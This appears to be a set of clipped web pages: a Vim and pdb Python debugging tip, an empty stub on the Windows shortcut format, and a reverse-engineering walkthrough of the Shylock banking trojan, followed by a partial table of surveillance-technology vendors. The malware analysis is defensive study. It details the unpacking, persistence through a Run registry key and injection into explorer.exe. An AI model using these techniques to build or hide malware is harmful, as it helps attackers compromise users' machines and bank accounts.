    > /home/shan/code/test2.py(12)employee()  
    -> joe = Employee("Joe Smith","Application Developer","7207837")  
    (Pdb) shan.title  
    'UNIX ADMIN'  
    (Pdb) c  
    ('Shan Jing', 'UNIX ADMIN', '2720748')  
    ('Joe Smith', 'Application Developer', '7207837')  
    shan@ub1:~/code$  
      
      
    
    
[/code]

Assume you are editing your code in Vim editor, wouldn't it be nice if just
hit one key to set a breakpoint and hit another key to debug the code without
leaving Vim?  
  
Put the following lines in ~/.vimrc

[code]

      
    "pdb setting : insert pdb breakpoints  
    imap <F1> import pdb;pdb.set_trace()  
    au BufRead *.py nmap <F5> :!python %  
    
    
[/code]

  
Now, at Vim's insert mode, find the place you want to insert a breakpoint, hit
F1 key. To debug your code, \(save it first\) and hit F5 key, you will be
stopped at the breakpoint in a shell, once done debugging just type 'exit' to
close pdb and go back to vim continue your coding.  
  
If you have conqueshell installed in vim, using the following Vim mappings,
you will be able to open ipython and debug your code from a new buffer in a
split window on the same screen on vim. Basically, you turn Vim into a dynamic
Python/iPython IDE with a full function debugger\!  

[code]

      
    " ConqueShell Mappings  
    nmap <F1> :ConqueTermSplit bash  
    nmap <F2> :ConqueTermVSplit bash  
    nmap <F3> :ConqueTermSplit ipython  
    nmap <F4> :ConqueTermVSplit ipython  
    nmap <F6> :execute 'ConqueTermSplit ipython '.expand('%:p')  
    nmap <F7> :execute 'ConqueTermVSplit ipython '.expand('%:p')  
    let g:ConqueTerm_EscKey = ''  
    
    
[/code]

  
I have posted my .vimrc in another blog.  
  
If you want to use ipython \(which is a much better IDE\) and ipdb to debug
Python, please read my next blog - Debugging Python with ipython and ipdb.

# The Windows Shortcut File Format

**Created:**| _7/21/2010 7:02:02 PM_  
---|---  
**Updated:**| _7/21/2010 7:02:23 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit vulnerability windows environment_  
  
<img src='img/Temp2_8352' />

# Walking Toe to Toe With Shylock « P4r4n0id Reversing Lab

**Created:**| _12/20/2011 7:55:33 AM_  
---|---  
**Updated:**| _12/20/2011 7:55:33 AM_  
**Author:**| __  
**Tags:**| _windows security Malware-analysis_  
  

## Walking Toe to Toe With Shylock

by Master on Dec.09, 2011, under Malware, Reversing

**Contents**

1. Walking Toe to Toe With Shylock
  1. Introduction
  2. Tools
  3. Links to other excellent analyses of shylock

2. Unpacking the Sample
  1. Sample Generic Overview
  2. Unpacking – step by step

  1. VirtualAlloc / Memory Copying – \#1
  2. VirtualAlloc / Memory Copying – \#2
  3. Decryption Routine
  4. VirtualAlloc / Memory Copying – \#3
  5. Process Image – Erasing Routine
  6. Rebuilding the Process Image – Copying the PE header
  7. Rebuilding the Process Image – Copying the Sections
  8. Rebuilding the Process Image – IAT Rebuild – LoadLibrary / GetProcAddress Combination
  9. Rebuilding the Process Image – VirtualProtect the Sections
  10. The CleanUP

3\. The OEP  
4. Dump & Fix
  1. ImpREC – Fixing the Dump

5. OEP – Core Infection 
  1. The Decryption Routine
  2. GetModuleHandleA / GetProcAddress  

  3. Unique ID Generation
  4. Mutex Creation
  5. File System Changes – APPDATA folder
  6. Surviving Reboot
  7. Creating the .bat File
  8. cmd.exe Process
  9. explorer.exe – Process Injection

  1. Step \#1: Retrieve a HANDLE to the remote process \(OpenProcess\):
  2. Step \#2: Allocate memory in the remote process’s address space for injected data \(VirtualAllocEx\).
  3. Step \#3: Write a copy of the initialised INJDATA structure to the allocated memory \(WriteProcessMemory\).
  4. Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.
  5. Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).
  6. Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or GetExitCodeThread\).
  7. Step \#7 and \#8 – The clean Up

6\. Conclusion

7. Final Notes 
**1 Walking Toe to Toe With Shylock**

**1.1 Introduction**

Shylock is a new Trojan discovered by trusteer around 2 months ago. It is
designed to be a Trojan Spy and specifically a Banker. Targets the windows
platform, collects various system information from the infected system and
send it to a remote C&C server, able to perform Man in the Browser attacks
\(IE and FF\) against users of UK banks.

**1.2 Tools**

  * IDA
  * ImmunityDebugger
  * CFF Explorer
  * ImpREC

**1.3 Links to other excellent analyses of shylock**

1.3.1 **Evilcry** – Shylock via Volatility  
1.3.2 **Mila** – Greedy Shylock – financial malware  
1.3.3 **Malwarereversing** – shylock-in-depth-malware-analysis

**2\. Unpacking the Sample**

**2.1 Sample Generic Overview**

  * **File Size** : 363.09 KB \(371800 bytes\)
  * **MD5** : 4FDA5E7E8E682870E993F97AD26BA6B2
  * **SHA-1** : D1B17C351BAFC899BA14C84E09B5CC258A2195BF
  * **Packer** : Unknown \(PEID\)

<img src='img/Temp2_9152.jpg' width='151' height='88' />

  * **Company Name** : He is ready at the door
  * **File Description** : So keen and greedy to confound a man

<img src='img/Temp2_9149.jpg' width='169' height='61' />

  * **Signature** :

<img src='img/Temp2_9091.jpg' width='265' height='118' />

**2.2 Unpacking – step by step**

As we’ve seen from the previous paragraph the binary is packed with an unknown
packer so we have to start analyzing it from the top.

The start code is quite typical, some several API calls including some Crypto
functions:

<img src='img/Temp2_9086.jpg' width='181' height='107' />

**2.2.1 VirtualAlloc / Memory Copying - \#1**

On address **00404A69** we see a CALL instruction \(CALL sub\_004040C0\). Once
stepping in into the function we can notice the **VirtuallAlloc** API function
call:

<img src='img/Temp2_9115.jpg' width='217' height='99' />

Creating a new executable memory region:

<img src='img/Temp2_9151.jpg' width='396' height='208' />

Once executed, on address 00380000 we can see the newly allocated memory –
newly executable memory region \(5E200 bytes size\):

<img src='img/Temp2_9068.jpg' width='219' height='118' />

Directly after the memory allocation we can see a memory copying routine –
copying 5E000 bytes. The routine copies the full image of the running process
\(shylock.exe\) starting from the process image base address
\(Shylock.00400000\) to the newly virtually allocated space \(00380000\):

<img src='img/Temp2_9098.jpg' width='240' height='36' />

<img src='img/Temp2_9147.jpg' width='196' height='134' />

By end of loop:

<img src='img/Temp2_9146.jpg' width='272' height='226' />

Next, on address **00404152** we can see a**CALL EAX** instruction. EAX points
to 4160 bytes inside the newly virtually allocated memory \(00384160\):

<img src='img/Temp2_9071.jpg' width='195' height='101' />

**2.2.2 VirtualAlloc / Memory Copying - \#2**

On address **003841F0** we see the second call to the **VirtualAlloc** API
function. This time allocating 703166 bytes marked as **PAGE\_READWRITE**\(and
not as **PAGE\_EXECUTE\_READWRITE** as previous allocation\). On address
**00940000** we can see the newly virtually allocated memory:

<img src='img/Temp2_9102.jpg' width='367' height='285' />

Using the same memory copying routine, this time copying 55D5F bytes from
offset 602E \(first VirtualAlloc call - 0038602E\) to 00940000 \(second
VirtualAlloc call\):

<img src='img/Temp2_9128.jpg' width='282' height='150' />

**2.2.3 Decryption Routine**

Let’s see what we have at this offset \(**0038602E**\):

<img src='img/Temp2_9127.jpg' width='374' height='283' />

An encrypted executable. On address **00384220** we can see the decryption
routine:

<img src='img/Temp2_9153.jpg' width='381' height='95' />

Decryption routine pseudo-code:

<img src='img/Temp2_9095.jpg' width='374' height='186' />

Lets see the decryption routine in action \(first 2 loop runs\):

First Byte – First Loop Run:

Encrypted\_Byte\_Value = 35h.

ECX \(key\) = 12345678 –> CL = 78

35h ^ 78h = 4D \(‘M‘\)

Which gives us the ‘MZ’:

<img src='img/Temp2_9104.jpg' width='384' height='262' />

ECX = 12345678 \* 218FB + 3CAC0047 = 262FAB0807EF ==> CL = EF

Second Byte - Second Loop:

EF ^ EF = 0

<img src='img/Temp2_9155.jpg' width='151' height='193' />

and so on 55D5F / 7 bytes….

**2.2.4 VirtualAlloc / Memory Copying - \#3**

On address **00384260** we see the third memory allocation call . This time
allocating 55F5F bytes marked as **PAGE\_READWRITE.**

****On address**009F0000** we can see the newly virtually allocated memory:

<img src='img/Temp2_9154.jpg' width='300' height='248' />

And again,copying 55D5F bytes from 00940000 ,the decrypted executable, to the
newly allocated memory space – 009F0000 \(3′rd time VirtualAlloc call\)

<img src='img/Temp2_9087.jpg' width='466' height='187' />

**2.2.5 Process Image – Erasing Routine**

Once copied the decrypted executable , on address **00384506** we see a memory
erasing routine. Starting from the process ImageBaseAddress \(EAX points to
Shylock.00400000\) the routine overwrites it’s own process virtual memory with
“0″ byte after byte:

<img src='img/Temp2_9062.jpg' width='349' height='41' />

By end of routine:

<img src='img/Temp2_9088.jpg' width='210' height='140' />

Using PE Tools – lets create a full process dump before and after this
routine:

<img src='img/Temp2_9114.jpg' width='244' height='112' />

<img src='img/Temp2_9126.jpg' width='334' height='117' />

**2.2.6 Rebuilding the Process Image – Copying the PE header**

Next we can see ,the same as above, memory bytes copying routine, copies 400
bytes \(PE header\) from the decrypted executable \(3′rd V.A call 009F0000\)
to the newly “clean” / erased process image \(shylock.00400000\):

<img src='img/Temp2_9123.jpg' width='392' height='271' />

2.2.7 Rebuilding the Process Image – Copying the Sections  

After copying the PE header, it is time to copy the section. The following
routine is responsible for this task. The loop runs 5 times, copies the
following 5 sections:

<img src='img/Temp2_9092.jpg' width='590' height='117' />

**The Routine**

<img src='img/Temp2_9059.jpg' width='712' height='255' />

**2.2.8 Rebuilding the Process Image – IAT Rebuild - LoadLibrary /
GetProcAddress Combination**

By the **LoadLibrary** / **GetProcAddress** combination the code loads the
following DLLs and resolves functions addresses in order to rebuild the IAT:

**LoadLibrary:**

<img src='img/Temp2_9073.jpg' width='540' height='169' />

**GetProcAddress:**

<img src='img/Temp2_9135.jpg' width='686' height='100' />

The code resolves the following functions addresses:

**advapi32.dll:** RegFlushKey ,RegQueryValueExA ,RegSetValueExA ,IsValidSid
,GetTokenInformation ,ConvertSidToStringSidA ,OpenProcessToken ,CryptHashData
,CryptDestroyHash ,GetLengthSid ,CryptCreateHash ,CryptAcquireContextA
,CryptReleaseContext ,CryptGetHashParam ,RegCloseKey ,RegCreateKeyA

**kernel32.dll:** GetLastError ,lstrcmpi ,GetTempFileNameA ,FindClose
,FindNextFileA ,GetFileTime ,CloseHandle ,WaitForSingleObject ,VirtualFree
,CreateRemoteThread ,OpenProcess ,VirtualFreeEx ,VirtualAlloc ,VirtualAllocEx
,GetExitCodeThread ,WriteProcessMemory ,FindFirstFileA ,GetProcAddress
,GetModuleHandleA ,GetCurrentProcess ,ProcessFirst ,ProcessNext
,CreateToolhelpSnapshot ,LocalFree ,GetCommandLineA ,CreateProcessA
,FlushFileBuffers ,GetShortPathNameA ,CopyFileA ,CreateMutexA ,DeleteFileA
,ExitProcess ,CreateDirectoryA ,ReadFile ,WriteFile ,SetFileTime
,ExpandEnvironmentStringsA ,GetFileSize ,CreateFileA ,lstrcpy ,HeapSize
,GetEnvironmentVariableA ,lstrcat ,HeapCreate ,GetVolumeInformationA
,GetProcessHeap ,HeapFree ,HeapAlloc ,lstrlen ,HeapReAlloc ,GetComputerNameA

**msvcrt.dll:** memmove,free,malloc,memset,memcpy,srand,getenv,sprintf

**shlwapi.dll:** PathCombineA

**winmm.dll:** timeGetTime

**user32.dll:** CharToOemA

**2.2.9 Rebuilding the Process Image – VirtualProtect the Sections  
**

By using the following routine the code calls the **VirtualProtect** API on
every section \(.text, .rdata, .data , .reloc , .adata\). The loop runs 5
times \(a loop run for every section\):

<img src='img/Temp2_9120.jpg' width='733' height='233' />

The 5 sections were marked as follows:

  * .text section = PAGE\_EXECUTE\_READ \(0×20\)
  * .rdata section = PAGE\_READONLY \(0×02\)
  * .data section = PAGE\_READWRITE \(0×04\)
  * .reloc section = PAGE\_READONLY \(0×02\)
  * .adata section = PAGE\_READONLY \(0×02\)

**2.2.10 The CleanUP**

Two calls to the **VirtualFree** API function:

<img src='img/Temp2_9111.jpg' width='554' height='81' />

In the first **VirtualFree** call EBX points to 00940000 \(2nd VirtualAlloc
call\) and in the second call ESI points to 009F0000 \(3′rd VirtualAlloc
call\).  
We can see that the dwFreeType parameter is set to **MEM\_RELEASE** \(0×8000\)
as required because both above addresses were allocated by using the
VirtualAlloc function.

**3. The OEP**

On address **0038433D** we see a CALL instruction that lands us directly on
the OEP:

<img src='img/Temp2_9101.jpg' width='510' height='275' />

**4\. Dump & Fix**

**4.1 ImpREC – Fixing the Dump**

After dumping the unpacked process using PETools we need to rebuild the IAT. I
am using ImpREC:

<img src='img/Temp2_9129.jpg' width='385' height='333' />

<img src='img/Temp2_9060.jpg' width='438' height='438' />

5\. **OEP – Core Infection**

This can be considered as the True EntryPoint, in other words here starts the
Infection Process. We can immediately see the **GetModuleHandleA** /
**GetProcAddress** combination. Before we get to the **GetModuleHandleA** /
**GetProcAddress** calls we can notice the “**CALL Dumped\_.0040166E** ”
instruction that gets called twice. The “Dumped\_.0040166E” routine is
shylock’s decryption routine.

<img src='img/Temp2_9109.jpg' width='423' height='202' />

**5.1 The Decryption Routine**

After a successful **HeapCreate** / **HeapAlloc** calls shylock copies from
it’s .rdata section to the newly allocated heap ‘N’ encrypted bytes and a 4
bytes key:

<img src='img/Temp2_9072.jpg' width='631' height='300' />

Let’s see how the 4 bytes key / ‘N’ encrypted bytes structure looks like in
the .rdata section:

<img src='img/Temp2_9075.jpg' width='648' height='72' />

The decryption routine \(Dumped\_.0040164C\):

<img src='img/Temp2_9113.jpg' width='672' height='74' />

**5.2 GetModuleHandleA / GetProcAddress**

Now we can move on to the **GetModuleHandleA** / **GetProcAddress** calls. As
we’ve seen above there are 2 calls to the decryption routine before calling
the **GetModuleHandleA** / **GetProcAddress** APIs.

The first decryption call returns the following string:

<img src='img/Temp2_9107.jpg' width='444' height='106' />

The second call returns:

<img src='img/Temp2_9122.jpg' width='533' height='94' />

<img src='img/Temp2_9143.jpg' width='446' height='75' />

So the first thing shylock does is resolving the address of
kernel32.IsWow64Process API function. Once resolved, it tries to determine
whether its running under WOW64 system by calling IsWow64Process with the
handle returned from a call to GetCurrentProcess function \(current process
handle \(HANDLE\)-1\):

<img src='img/Temp2_9064.jpg' width='626' height='47' />

**Unique ID Generation**

For future usage ,as part of the infection process, shylock generates a 16
bytes \(calculated from 55 bytes buffer\) unique ID number:

First 8 bytes:

By using the following routine shylock generates the first 8 bytes. The loop
runs 10 times, on each loop there is a call to the CPUID opcode with EAX from
8000000A to 80000000 :

<img src='img/Temp2_9132.jpg' width='567' height='230' />

Next 4 bytes:

In order to generate the next 4 bytes Shylock calls the
**GetVolumeInformationA** API function. One of this function parameters is **
_lpVolumeSerialNumber_ \[out, optional\]** \(A pointer to a variable that
receives the volume serial number.\) Shylock uses the returned serial ID as
its next 4 bytes:

<img src='img/Temp2_9078.jpg' width='654' height='228' />

Next 15 bytes \(in my case\)

The next bytes are generated by calling the **GetComputerNameA** API function.
In my case the returned length is 15 bytes.

<img src='img/Temp2_9148.jpg' width='510' height='177' />

Last 28 bytes

The last 28 bytes are generated by calling the **GetTokenInformation** API
function - **OpenProcessToken\(GetCurrentProcess\(\)….\) = >
GetTokenInformation\(\)**

The returned TokenInformation is saved to an allocated heap due to a
“ERROR\_INSUFFICIENT\_BUFFER” error on first call.

<img src='img/Temp2_9112.jpg' width='444' height='123' />

Next there is a call to **IsValidSid** API function with **pSid** parameter
points to 8 bytes offset inside the returned token from above \(skips first 8
bytes\) which leaves us 28 bytes token info.

<img src='img/Temp2_9083.jpg' width='544' height='232' />

Building the final buffer into a allocated heap:

<img src='img/Temp2_9094.jpg' width='576' height='333' />

Once the 55 bytes buffer \(8 +4 + 15 + 28 \) is ready, Shylock executes some
crypto API calls on it:

<img src='img/Temp2_9141.jpg' width='605' height='266' />

The Unique ID: “03 B9 A9 07 8D 48 AE 06 CA 2C 89 39 AD 57 A5 07″

Reordering the bytes:

<img src='img/Temp2_9096.jpg' width='584' height='284' />

and calling sprintf function:

<img src='img/Temp2_9080.jpg' width='630' height='111' />

**Mutex Creation**

Before calling the **CreateMutex** API function the code jumps to the
decryption routine \(this time decrypting 5 bytes\)

<img src='img/Temp2_9125.jpg' width='536' height='39' />

The decrypted string:

<img src='img/Temp2_9063.jpg' width='443' height='59' />

Mutex name – the decrypted string \(“MTX\_”\) concated with the generated
UniqueID:

**MutexName** = “MTX\_06AE488D07A9B90339892CCA07A557AD”  
**InitialOwner** = FALSE  
**pSecurity** = NULL

<img src='img/Temp2_9099.jpg' width='611' height='67' />

**File System Changes – APPDATA folder**

Shylock drops a copy of itself \(running process\) under the APPDATA folder in
a random location with a random name, let’s see how it is done:

Calling the decryption routine:

<img src='img/Temp2_9093.jpg' width='536' height='81' />

The decrypted string:

<img src='img/Temp2_9077.jpg' width='442' height='52' />

Once got the decrypted string we jump to the following routine:

<img src='img/Temp2_9100.jpg' width='564' height='181' />

The routine generates a random number by calling time.GetTime function and
than doing some math operations on the returned value.

By calling the **FindFirstFileA** /**FindNextFileA** APIs combination Shylock
searches all exe files under the system32 folder and extracts the name of the
file, to be its chosen random name, from the file which is located in the
generated random number location. By using the same logic Shylock also chooses
the random folder under APPDATA path to copy itself to:

<img src='img/Temp2_9124.jpg' width='438' height='158' />

BTW, Shylock decides to drop a copy of itself under the APPDATA path because
that’s the path he gets after calling the decryption routine:

<img src='img/Temp2_9106.jpg' width='539' height='43' />

The decrypted string:

<img src='img/Temp2_9082.jpg' width='445' height='57' />

**Surviving Reboot**

Calling the decryption routine:

<img src='img/Temp2_9067.jpg' width='534' height='119' />

The decrypted string:

<img src='img/Temp2_9097.jpg' width='444' height='80' />

In order to survive reboot shylock writes itself to the registry
under**”Software\Microsoft\Windows\CurrentVersion\Run”** using it’s generated
unique ID as the name value:

<img src='img/Temp2_9137.jpg' width='622' height='69' />

**Creating the .bat File**

Before creating the .bat file we see the **GetTempFileNameA** /
**DeleteFileA** API calls.

**GetTempFileName** by MSDN:  
“Creates a name for a temporary file. If a unique file name is generated, an
empty file is created and the handle to it is released; otherwise, only a file
name is generated.”

After the **GetTempFileNameA / DeleteFileA** calls we jumps to the decryption
routine twice. First call decrypting 5 bytes:

<img src='img/Temp2_9090.jpg' width='613' height='49' />

The decrypted string:

<img src='img/Temp2_9138.jpg' width='443' height='68' />

Second call decrypting 119 bytes:

<img src='img/Temp2_9074.jpg' width='489' height='98' />

The decrypted string:

<img src='img/Temp2_9117.jpg' width='444' height='50' />

Now it is time for creating the .bat file by calling **CreateFileA** function:

<img src='img/Temp2_9142.jpg' width='542' height='47' />

Next, writing to the created .bat file the decrypted string when replacing all
format strings “%s” with the full path of the running process \(by using
**GetCommandLine** API\):

<img src='img/Temp2_9085.jpg' width='626' height='184' />

**cmd.exe Process**

Again, calling the decryption routine. This time decrypting 11 bytes. The
decrypted string:

<img src='img/Temp2_9089.jpg' width='444' height='56' />

Calling **getenv** function and **GetShortPathName** that returns the
**“C:\WINDOWS** ” string. Another decryption routine call – 22 bytes this
time:

<img src='img/Temp2_9076.jpg' width='367' height='63' />

The decrypted string:

<img src='img/Temp2_9105.jpg' width='444' height='61' />

And 2 calls to the **strcat** API function:

First call – concats **“C:\WINDOWS”** and **“\system32\cmd.exe /c”**

<img src='img/Temp2_9133.jpg' width='620' height='36' />

Second call – concats **“C:\WINDOWS\system32\cmd.exe /c”** and the full path
to the tmp.bat file:

<img src='img/Temp2_9139.jpg' width='743' height='28' />

Executing the. bat file using the **CreateProcessA** function:

<img src='img/Temp2_9150.jpg' width='1020' height='120' />

<img src='img/Temp2_9119.jpg' width='443' height='375' />

**explorer.exe – Process Injection**

Calling the decryption routine. This time decrypting 13 bytes:

<img src='img/Temp2_9131.jpg' width='610' height='62' />

The decrypted string:

<img src='img/Temp2_9121.jpg' width='445' height='63' />

Once decrypted we land here:

<img src='img/Temp2_9118.jpg' width='459' height='285' />

By calling **CreateToolhelp32Snapshot** / **Process32First**
/**Process32Next** APIs, the code lists all running processes and by using
**strcmpiA** function it compares the name of the running process to
explorer.exe. Once found the explorer.exe process we jump here:

<img src='img/Temp2_9130.jpg' width='350' height='243' />

By looking at the involved APIs we can see that the code uses the
**CreateRemoteThread** / **WriteProcessMemory** Technique to inject its’ code
into explorer.exe process.  
More info about the technique you can read here. Scrolling a bit down we see
this:

<img src='img/Temp2_9066.jpg' width='391' height='304' />

We can see that the code calls **WriteProcessMemory** 3 times. Let’s follow
the steps:

**Step \#1 : Retrieve a HANDLE to the remote process \(OpenProcess\):**

<img src='img/Temp2_9145.jpg' width='622' height='126' />

**Step \#2 : Allocate memory in the remote process’s address space for
injected data \(VirtualAllocEx\):**

<img src='img/Temp2_9079.jpg' width='575' height='58' />

**Step \#3 : Write a copy of the initialised INJDATA structure to the
allocated memory \(WriteProcessMemory\)**.

First VirtuallAllocEx/ WriteProcessMemory call:

We can see that the code writes 92000 bytes from address 00A50000 to the newly
virtually allocated memory \(022A0000\). If we will look at address 00A50000
we can immediately see the MZ header :

<img src='img/Temp2_9140.jpg' width='428' height='317' />

Dumping the first explorer’s.exe injected code:

<img src='img/Temp2_9069.jpg' width='346' height='136' />

Before calling the second **VirtuallAllocEx** / **WriteProcessMemory**
combination the code changes 4 bytes at offset 28h \(DOS Header->e\_res2->
offset 28h / offset 2Ah\) from 00000000 to be the base address of the
v.allocated newly memory\( 022A0000 \) and also changes at offset 2C \(DOS
Header->e\_res2-> offset 2Ch / offset 2Eh\) also from 00000000 to be the size
of the newly v.allocated memory \(00092000\)

<img src='img/Temp2_9103.jpg' width='445' height='172' />

<img src='img/Temp2_9144.jpg' width='283' height='356' />

Second VirtuallAllocEx/ WriteProcessMemory call:

Writes again 92000 bytes from address 00A50000 \(includes above bytes
changes\) to the newly virtually allocated memory – 023C0000:

<img src='img/Temp2_9136.jpg' width='281' height='110' />

Dump:

<img src='img/Temp2_9108.jpg' width='346' height='136' />

Let’s see the diff:

<img src='img/Temp2_9081.jpg' width='389' height='181' />

Third VirtuallAllocEx/ WriteProcessMemory call:

Writes 9D7 bytes to the newly allocated memory – 00AA0000:

<img src='img/Temp2_9134.jpg' width='283' height='180' />

**Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.**

<img src='img/Temp2_9084.jpg' width='345' height='117' />

We see that the code calls **CreateRemoteThread** function in order to create
a thread that runs in the virtual address space of explorer.exe process. The
handle to the process in which the thread is to be created \(arg1 – 68h\) is
the handle returned from the **OpenProcess** function. The lpStartAddress
\(arg4\), the starting address of the thread in the remote process, is the
address returned from the third VirtuallAllocEx – not the MZ code. And the
lpParameter, a pointer to a variable to be passed to the thread function, is
the address that returned from the 2rd VirtuallAllocEx call – the MZ code –
the dll.

**Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).**

<img src='img/Temp2_9061.jpg' width='786' height='28' />

**Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or
GetExitCodeThread\).**

<img src='img/Temp2_9070.jpg' width='544' height='37' />

**Step \#7 and \#8 – The clean Up**

<img src='img/Temp2_9110.jpg' width='657' height='166' />  
Free the memory allocated in Steps \#2 and \#4 \(VirtualFreeEx\), and Close
the handles retrieved in Steps \#6 and \#1 \(CloseHandle\).

And we are infected <img src='img/Temp2_9116.jpg' alt=':)' />

<img src='img/Temp2_9065.jpg' width='512' height='26' />

**6\. Conclusion**

According to the title, the main scope of this blog post is walking toe to toe
with Shylock Trojan. On my next post \(in a few days\) I will walk toe to toe
with the injected code.

**7\. Final Notes**

**Thx 4 Reading\!**

**p4r4n0id**

# Main Page - Buggedplanet.info

**Created:**| _10/11/2011 7:32:14 PM_  
---|---  
**Updated:**| _10/11/2011 7:32:14 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Main Page

## Contents

  * 1 Policy for BUGGEDPLANET.INFO: Please read before editing
  * 2 Vendors of SIGINT/COMINT/LI and supporting Technologies and Systems
  * 3 Country Knowledgebase on SIGINT/COMINT/LI Installations
    * 3.1 Africa
    * 3.2 Americas
    * 3.3 Asia
    * 3.4 Europe
    * 3.5 Oceania / Other
  * 4 Transnational Issues and Installations
    * 4.1 Standards
    * 4.2 SIGINT/COMINT and related Systems
    * 4.3 Transnational Telecommunication Infrastructure
    * 4.4 Telecommunication Systems
  * 5 Other Resources
    * 5.1 Books
    * 5.2 Websites
    * 5.3 Torrents

  
---  
#  Policy for BUGGEDPLANET.INFO: Please read before editing

#  Vendors of SIGINT/COMINT/LI and supporting Technologies and Systems

Vendor Name| Technology/Service Provided| Place of Registration| Ownership  
---|---|---|---  
ACCESSDATA| Digital Investigation / Forensics / Decryption |  Lindon, UT \(US\) |   
ACME Packet| SBCs / MSGs / SRPs / VoIP LI| Delaware \(US\)| NASDAQ:APKT  
Alcatel-Lucent|  LI |  |  Public \(NYSE\)   
AMESYS| Tactical COMINT, Monitoring, Speech Recognition|  AIX-EN\_PROVENCE
\(FR\)|  BULL Group \(FR\)  
AUDIOTEL International| Tactical COMINT Systems and Countermeasures|  Corby, Northans \(GB\) |  ?   
AQSACOM|  LI, IP Monitoring |  Les Ulis \(FR\) |   
Area Spa| LI / Tactical Interception| Binago, Como \(IT\)|  
ATIS systems GmbH \(ATIS UHER\)| LI / Large Scale ComInt Monitoring |  Bad Homburg \(DE\) |   
BlueCoat|  Intelligence Centers, SSL-break-on-the-fly-intercept-tools |  Sunnyvale, CA \(US\) |  NASDAQ: BCSI   
Cellebrite Mobile Synchronization Ltd.|  Cell Phone Forensics |  Petah Tikva \(IL\) |   
ClearTrail| LI / ComInt|  Indore \(IN\) |   
COBHAM| Tactical GSM Interception|  Wimborne, Dorset \(GB\) |   
CommuniGate Systems|  LI | Mill Valley, CA \(US\)|   
Comverse| LI| \(US\)| \(IL\)  
DATAKOM| LI / Interception Systems|  Ismaning \(DE\) |   
Delta SPE| Collection & Processing of Packet Data Satellite Services|  Kiev \(UA\) |   
Delma MSS| GSM Tracking/Surveillance|  Alresford, Hampshire \(GB\) |  \(GB\)   
Detica| Information / Intelligence Processing| Guildford, Surrey \(GB\) |   
Dialogic| High performance signaling in gathering intelligence from Mobile Networks|  San Jose, CA \(US\) |   
DigiTask| WiFi Interception, Remote Forensics \(Trojans\)|  Haiger \(DE\) |   
Dreamlab Technologies AG| LI / VOIP LI / |  Bern \(CH\) |   
Elaman| Finfisher Remote Forensics \(Trojans\) / Strategic & Tactical Communication Monitoring / Intelligence Gathering |  Munich \(DE\) |  \(DE\)   
ENDACE accelerated| Traffic Data Processing|  Auckland \(NZ\) |   
Ericsson| Ericsson surveillance suite Monitoring LI|  Stockholm \(SE\) |   
ETI Connect| Monitoring|  Chantilly, VA \(US\) |   
FireDigit bvba| LI|  Sint-Niklaas \(BE\) |   
GAMMA Group| Remote Forensics \(Trojans\)|  GAMMA International GmbH & Co KG München \(DE\) / Gamma International Ltd. Andover, Hampshire \(GB\) |   
Gigamon| Gigabit Internet Monitoring|  Milpitas, CA \(US\) |   
Glimmerglass| Monitoring of optical signals and networks|  Hayward, CA \(US\) |  Private   
GROUP2000|  LI / Deep Packet Inspection |  AH Almelo \(NL\) |   
GTEN DATAKOM| LI / Interception Systems|  Ismaning \(DE\) |   
Guidance Software|  Encase Intelligence Software / Forensics |  Pasadena, CA \(US\) |   
Hacking Team| Remote Control System \(Trojans\)|  Milano \(IT\) |   
Hidden Technology Systems International Ltd| Covert Tracking & Surveillance
Devices| Essex \(GB\)|  
Huawei Technologies|  Networks / LI / COMINT |  \(CN\) |  \(CN\)   
IBH Impex| Tactical Sat-/GSM-/Radio- Interception, IP-Monitoring, Bugs, Sweeping \(TCSM\)|  Dessau \(DE\) |   
KBI Optronics GmbH| Surveillance and Reconnaissance Systems| Penig \(DE\)|  
LOQUENDO| Vocal Technology and Services / Speech Recognition |  Turin \(IT\) |   
Macro System| LI / Telecommunication Surveillance|  Warsaw \(PL\) |   
Medav GmbH| Radio Monitoring and Surveillance Solutions|  Uttenreuth \(DE\) |  \(DE\)   
MERA Systems, Inc.| IP network surveillance and monitoring|  Richmond Hill, Ontario \(CA\) |   
Micro Systemation AB| Cell Phone Forensics|  Solna \(SE\) |   
Narus| Real Time IP Traffic Monitoring, Traffic Intelligence |  Sunnyvale, CA \(US\) |  Boeing \(US\)   
NETSWEEPER|  Internet Monitoring and Filtering |  Guelph, Ontario \(CA\) |   
NETI|  Monitoring, Analytical Tools, Tactical Appliances |  Budapest \(HU\) |   
NetWitness|  Internet Monitoring |  Reston, VA \(US\) |   
Newport Networks| VoIP COMINT|  Chepstow , Gwent \(GB\) |   
Nice Systems| Monitoring, Investigating, Tracking|  \(IL\) |  NASDAQ: NICE   
@one IT GmbH| LI| Friedberg\(DE\)|  
OPENET| LI|  Dublin \(IE\) |   
PK-Electronic| Tactical SIGINT/COMINT Systems| Luetjensee near Hamburg \(DE\)|  
Plath GmbH| Communication Profiling, COPS, Thuraya Interception | Hamburg \(DE\) |   
Pen Link| Collect & Record of Interception Communication| Lincoln, NE \(US\)|  
Phoenix| Speech Recognition|  Colorado Springs, CO \(US\) |   
Polaris Wireless| LI|  Santa Clara, CA \(US\) |   
QOSMOS| Network Intelligence, Deep Packet Inspection \(DPI\), Identity Tracking |  Paris \(FR\) |   
RCS| IP Traffic Analysis|  Caltanissetta \(IT\) |   
retentia| Data Retention|  Silicon Valley \(US\) |   
REUTER-ELECTRONIC| Recording Systems for Communication Surveillance|  Haiger \(DE\) |   
Seartech| Surveillance Electronics|  Pretoria \(ZA\)|  
Selectronic| Tracking|  Hünstetten \(DE\) |   
Septier| Dual Usage Strategy of LI Systems |  Petach Tikva \(IL\) |  \(IL\)   
SHOGI Communications| Tactical SIGINT/COMINT Systems| Shimla, HP \(IN\)|  
Siemens Law Enforcement Solutions| LI, Monitoring and Intelligence Centers|
Munich \(DE\)| \(DE\)  
SS8 Networks| LI / Monitoring Center|  Milpitas, CA \(US\) |   
Syborg| LI|  Bexbach \(DE\)| VERINT \(IL\)  
Siemens| Intelligence Platform|  Munich \(DE\) |  \(DE\)   
Spectronic Systems A/S| Speech Recognition|  Copenhagen \(DK\) |   
Speech Technology Center, Ltd.| Audio Forensics|  St. Petersburg \(RU\) |   
